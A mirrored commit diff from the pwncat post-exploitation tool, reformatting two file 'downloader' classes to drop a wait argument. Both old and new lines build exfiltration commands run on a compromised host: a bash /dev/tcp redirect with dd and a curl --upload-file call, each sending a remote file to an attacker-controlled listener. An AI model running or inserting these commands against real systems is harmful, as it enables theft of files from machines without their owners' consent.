mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-27 19:04:15 +01:00
Fixed other downloaders for the new command return value
This commit is contained in:
parent
09a071b6e6
commit
dfdbb92eb6
@ -17,7 +17,4 @@ class BashTCPDownloader(RawDownloader):
|
||||
lport = self.server.server_address[1]
|
||||
remote_path = shlex.quote(self.remote_path)
|
||||
|
||||
self.pty.run(
|
||||
f"""bash -c "dd if={remote_path} > /dev/tcp/{lhost}/{lport}" """,
|
||||
wait=False,
|
||||
)
|
||||
self.pty.run(f"""bash -c "dd if={remote_path} > /dev/tcp/{lhost}/{lport}" """,)
|
||||
|
@ -18,6 +18,4 @@ class CurlDownloader(HTTPDownloader):
|
||||
curl = self.pty.which("curl")
|
||||
remote_path = shlex.quote(self.remote_path)
|
||||
|
||||
self.pty.run(
|
||||
f"{curl} --upload-file {remote_path} http://{lhost}:{lport}", wait=False
|
||||
)
|
||||
self.pty.run(f"{curl} --upload-file {remote_path} http://{lhost}:{lport}")
|
||||
|
Loading…
Reference in New Issue
Block a user